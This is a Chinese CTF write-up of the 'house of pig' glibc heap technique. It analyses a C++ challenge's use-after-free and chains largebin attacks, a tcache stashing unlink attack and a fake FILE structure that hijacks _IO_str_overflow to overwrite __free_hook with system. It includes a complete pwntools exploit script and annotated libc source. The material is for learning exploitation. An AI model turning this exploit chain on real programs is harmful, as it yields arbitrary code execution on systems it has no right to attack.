house of pig
[TOC] 原理详解 题目详解 _IO_str_jumps中的_IO_str_overflow
核心
利用_IO_str_overflow的malloc,memcpy,free三连,设置FAKE_FILE的值,使得free_hook被覆盖为system函数,最后free就可以拿到shell,怎么设置看源代码的函数执行流程
例题
house of pig 主要是利用了largebin attack,tcache stashing unlink attack,伪造FILE结构等手法
- 题目分析:
- 这个题是个C++代码,对于笔者分析还是有不小难度,但是对于逆向来说,我们不要在乎那么多细节,抓住核心利用点,这才是关键。
- 这个题用栈来存储chunk的相关数据,与之前总是用全局变量来存储有所不同,所以一开始看的我很晕,而且ida反汇编C++的东西又不好看,导致很多时间在纠结一些细节,但不要忘记堆就几个关键,chunklist,sizelist,marklist,这个题也不例外,抓住这点就够了
- 这个题在change role时候把原本的chunk相关数据copy到mmap_addr,但是没有copy完全,这就是漏洞利用点。可以很明显看到edit,show都是只看mark1,不看mark2,但是copy没有拷贝mark1中的数据,那么再次切换回来就会让mark1=0(因为mmap中的数据本身就是0),这就有了uaf
- peppa(A) 0-19 calloc(0x90-0x430) mummy(B) 0-9 calloc(0x90-0x450) daddy(C) 0-4 calloc(0x90-0x440) if(add&&i==4) 再malloc(0xe8)
- 这个题还有个点要注意,平时read都是可以控制整个mem区域,但这个题又做了一个限制。把控制的mem以每0x30为一块,A只可写每块的0-0x10,B只可写每块的0x10-0x20,C只可写每块的0x20-0x30。虽然做了限制,但是也给人启发,A相当于控制fd,bk;B相当于控制fd_nextsize,bk_nextsize
- 攻击流程
- 为tcache stashing unlink attack做准备,tcache中5个,smallbin中2个,大小都为0xa0
- 利用largebin泄露libcbase,heapbase。泄露libcbase就是把largebin chunk free后进入unsorted bin,uaf很容易泄露libcbase。泄露heapbase就是再calloc一个比它还大的chunk让它进入largebin,覆盖它的fd,bk,show就是它的fd_nextsize,dbg一看一做差就可以了
- largebin attack向free_hook-0x8处写入一个堆地址,这是为了绕过tcache stashing unlink attack的检查。具体做法是先让一个size大的chunk进入largebin,edit它的bk_nextsize为free_hook-0x28,再让一个size比它小的chunk先进入unsorted bin再链入largebin即可
- 再一次largebin attack向_IO_list_all写入一个堆地址,要记住这个堆地址,因为我们还要将它申请出来伪造FILE结构,方法同上
- tcache stashing unlink attack将free_hook-0x10链入0xa0的chunk大小的tcache中。让修改smallbin的第一个chunk的bk指针修改为free_hook-0x10-0x10,触发tcache stashing unlink attack。注意这里的细节,free_hook-0x8(也就是target+0x8)在之前被修改为了一个堆地址,所以可写,不会引发异常
- 在触发tcache stashing unlink attack时,add的时候i要刚好为4,此时刚好malloc(0xe8)。在此题中_IO_list_all写入一个堆地址是一个FAKE FILE,但是它的编写受限制,因此将其的*chain指向一个堆地址,再malloc(0xe8)刚好将这个堆地址申请出来,这里才是我们存放_IO_str_overflow的vtable的FAKE FILE!!!
- 在change_role中输入空字符触发len检查调用exit函数,进而执行_IO_str_overflow函数
- exit函数会执行_IO_flush_all_lockp函数来遍历 FILE结构体,而其中就有_IO_str_overflow函数,因此要满足(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)才能让那个if语句执行到_IO_str_overflow
- 在_IO_str_overflow函数中malloc,memcpy,free三连(具体细节看源码)old_blen = _IO_blen (fp);new_size = 2 * old_blen + 0x64; malloc (new_size);注意这个malloc正是想要malloc出0xa0 chunk大小的tcache头部存的free_hook-0x10,因此IO_buf_end,IO_buf_base,要精心设计。memcpy (new_buf, old_buf, old_blen);free (old_buf);因此IO_buf_base要刚好是FAKE FILE中/bin/sh\x00的地址(是个堆地址)
- 在写wp的途中要注意修改smallbin的bk指针,largebin中的bk_nextsize指针时如果破坏了要注意修复。同时还要注意各个bin当前的状态不要和预期的状态不一样。也要注意算FILE的偏移要不要0x10这个问题
from pwn import *
from pwnlib.util.packing import p64
from pwnlib.util.packing import u64
context(os='linux', arch='amd64', log_level='debug')
file = "/home/zp9080/PWN/pig"
elf=ELF(file)
libc =elf.libc
io = process(file)
def dbg():
gdb.attach(io,'b *$rebase(0xD80)')
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def dbg():
gdb.attach(io, 'b *$rebase(0x3761)')
def Menu(cmd):
sla('Choice: ', str(cmd))
def Add(size, content):
Menu(1)
sla('size: ', str(size))
sla('message: ', content)
def Show(idx):
Menu(2)
sla('index: ', str(idx))
def Edit(idx, content):
Menu(3)
sla('index: ', str(idx))
sa('message: ', content)
def Del(idx):
Menu(4)
sla('index: ', str(idx))
def Change(user):
Menu(5)
if user == 1:
sla('user:\n', 'A\x01\x95\xc9\x1c')
elif user == 2:
sla('user:\n', 'B\x01\x87\xc3\x19')
elif user == 3:
sla('user:\n', 'C\x01\xf7\x3c\x32')
#----- prepare tcache_stashing_unlink_attack
#calloc申请5个0xa0堆块,并放入 tcache
Change(2)
for x in range(5):
Add(0x90, 'B'*0x28) # B0~B4
Del(x) #B0~B4
#role1 calloc(0x150),用于切割出0xa0的small bin chunk
Change(1)
Add(0x150, 'A'*0x68) # A0
#填充0x160 tcache,使得 A0进入 unsortedbin
for x in range(7):
Add(0x150, 'A'*0x68) # A1~A7
Del(1+x)
#A0放入 unsortedbin
Del(0)
#切割 A0,剩余0xa0放入smallbin
Change(2)
Add(0xb0, 'B'*0x28) # B5 split 0x160 to 0xc0 and 0xa0
#同样道理 利用0x190切割 0xa0放入 smallbin
Change(1)
Add(0x180, 'A'*0x78) # A8
for x in range(7):
Add(0x180, 'A'*0x78) # A9~A15
Del(9+x)
Del(8)
Change(2)
Add(0xe0, 'B'*0x38) # B6 split 0x190 to 0xf0 and 0xa0
#----- leak libc_base and heap_base
#role1 calloc(0x430),用于放入largbin,泄漏地址
Change(1)
Add(0x430, 'A'*0x158) # A16
#间隔top chunk
Change(2)
Add(0xf0, 'B'*0x48) # B7
#释放A16进入unsorted bin
Change(1)
Del(16)
#使 A16 进入 largebin
Change(2)
Add(0x440, 'B'*0x158) # B8
#利用 UAF先泄漏 libc地址
Change(1)
Show(16)
ru('message is: ')
libc_base = uu64(rl()) - 0x1ebfe0
lg('libc_base')
#利用UAF泄漏heapbase地址
Edit(16, 'A'*0xf+'\n')
Show(16)
ru('message is: '+'A'*0xf+'\n')
heap_base = uu64(rl()) - 0x13940
lg('heap_base')
print("---> 1 largbin attack to change __free_hook-8")
#----- first largebin_attack
# recover,fd,bk不对的话在largebin中找不到
Edit(16, 2*p64(libc_base+0x1ebfe0) + b'\n')
#A17直接largebin中得到(A16)
Add(0x430, 'A'*0x158) # A17
Add(0x430, 'A'*0x158) # A18
Add(0x430, 'A'*0x158) # A19
Change(2)
#释放 0x450堆块 chunk8
Del(8)
#使得 chunk8 进入 largebin
Add(0x450, 'B'*0x168) # B9
#释放0x440堆块进入 unsortedbin,其size 小于 chunk8
Change(1)
Del(17)
#修改chunk8->bk_nextsize = free_hook-0x28
Change(2)
free_hook = libc_base + libc.sym['__free_hook']
Edit(8, p64(0) + p64(free_hook-0x28) + b'\n')
#触发largebin attack
Change(3)
#注意B8的大小是0x450,这里不能add(0x440)
#只要触发了unsortedbin循环就可以,unsorted bin中的large chunk会先被放入largebin再拿出来切割
Add(0xa0, 'C'*0x28) # C0 triger largebin_attack, write a heap addr to __free_hook-8
#修复chunk8
Change(2)
# recover B8的fd-nextsize,bk-nextsize指向自己
#此时largebin中只有B8,配合下一次largebin attack
Edit(8, 2*p64(heap_base+0x13e80) + b'\n')
print("---> 2 largebin attack to change _IO_list_all")
#----- second largebin_attack
#将unsortedbin 清空
Change(3)
Add(0x380, 'C'*0x118) # C1
#释放A19 0x440到unsortedbin中
Change(1)
Del(19)
#修改chunk8->bk_nextsize = io_list_all-0x20
Change(2)
IO_list_all = libc_base + libc.sym['_IO_list_all']
Edit(8, p64(0) + p64(IO_list_all-0x20) + b'\n')
#触发largebin attack
Change(3)
Add(0xa0, 'C'*0x28) # C2 triger largebin_attack, write a heap addr to _IO_list_all
#修复largebin
Change(2)
Edit(8, 2*p64(heap_base+0x13e80) + b'\n') # recover
print("==== tcache stashing unlink attack and FILE attack")
#----- tcache_stashing_unlink_attack and FILE attack
#修改smallbin 中的第一个chunk的 bk指针为 free_hook-0x20,smallbin: chunk8->chunk7
#target-0x10=free_hook-0x20,target=free_hook-0x10,free_hook-0x8可写,因为之前将其写入了一个堆地址
Change(1)
#这个地方要留意,A8为calloc(0x180),又被分割,calloc(0xe0),而B每次只能写入0x10-0x20的位置
#0x10 0x40 0x70 0xa0 0xd0 0x100 0x190=0x10+0xe0+0xa0,所以这个payload刚好可以实现修改smallbin 中的第一个chunk的 bk指针,注意fd不要改变
payload = b'A'*0x50 + p64(heap_base+0x12280) + p64(free_hook-0x20)
Edit(8, payload + b'\n')
#申请largebin中的chunk8,用来伪造一个FILE结构体,并将FILE结构体的chain指针指向另一个伪造的FILE结构体堆块,这里不直接用它伪造是因为该堆块限制写,因此让
#这个地方的FILE结构体的chain指针指向当前unsorted bin中残留的chunk头部
Change(3)
#刚好是FAKE FILE的0x68处,也就是*chain写入这个堆地址
payload = b'\x00'*0x18 + p64(heap_base+0x147c0)
payload = payload.ljust(0x158, b'\x00')
print("change fake FILE chain")
#unsorted bin中的heap_base+0x147c0进入了small bin
#largebin中的chunk被取出,同时这也是_IO_list_all[0]存的堆地址
Add(0x440, payload) # C3 change fake FILE _chain
#触发tcache stashing unlink
print("triger tcache_stashing_unlink")
# dbg()
#从smallbin取出一个chunk同时触发tcache_stashing_unlink_attack
Add(0x90, 'C'*0x28) # C4 triger tcache_stashing_unlink_attack, put the chunk of __free_hook-0x8处的chunk into tcache
IO_str_vtable = libc_base + 0x1ED560
system_addr = libc_base + libc.sym['system']
#因为返回的是mem位置,也就heap_base+0x147c0+0x10,所以只有2个p64(0)
fake_IO_FILE = 2*p64(0)
fake_IO_FILE += p64(1) #_IO_write_base = 1
fake_IO_FILE += p64(0x1000) # _IO_write_ptr = 0x1000
fake_IO_FILE += p64(0) #_IO_write_end=0
#_IO_write_ptr -_IO_write_base>(size_t)(IO_buf_end-IO_buf_base)+flush_only 同时
fake_IO_FILE += p64(heap_base+0x148a0) #IO_buf_base,heap_base+0x147c0+0xd0
fake_IO_FILE += p64(heap_base+0x148b8) #IO_buf_end, heap_base+0x147c0+0xd0+0x18
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(0) #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(IO_str_vtable) #change vtable
payload = fake_IO_FILE + b'/bin/sh\x00' + 2*p64(system_addr)
print('IO attack')
sa('Gift:', payload)
#触发exit(-1)
Menu(5)
sla('user:\n', '')
irt()
源码
- 至于我们如何让程序执行_IO_str_overflow这个函数,很简单。这个函数的地址是保存在_IO_str_jumps这个结构体中的,在一般程序正常运行的情况下,_IO_list_all保存有指向标准输入输出的FILE结构体,其中的vtable指向的应该是_IO_file_jumps,而_IO_file_jumps与_IO_str_jumps是一个结构体类型的实例,二者的不同之处是,_IO_file_jumps用于一个FILE结构体在出现异常时调用的函数列表,我们在假FILE结构体中将vtable写成_IO_str_jumps,实际上就是将程序的执行流从_IO_file_overflow改成_IO_str_overflow。这也是house of pig利用的思想精髓所在 注意要找的是__io_vtables而不是call _IO_str_overflow,否则与FILE结构体的_IO_jump_t的类型不匹配
pwndbg> p &_IO_str_jumps
$6 = (const _IO_jump_t *) 0x7ffff7dd2560 <_IO_str_jumps>
_IO_str_overflow
//在攻击中fp->_flags==0,注意函数的流程
#define EOF (-1)
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
int _IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF)
return EOF;
else
{
//这里是主要攻击函数,malloc,memcpy,free三连
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 0x64;
if (new_size < old_blen)
return EOF;
//注意malloc特有的对齐
new_buf = malloc (new_size);
if (new_buf == NULL)
{
return EOF;
}
if (old_buf)
{
//把_IO_buf_base到_IO_buf_end中的数据复制到new_buf中,此时可以把system函数复制到free_hook中,这也是为什么tcache中存的是free_hook-0x10
memcpy (new_buf, old_buf, old_blen);
//_IO_buf_base中存储的是/bin/sh\x00
free (old_buf);
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}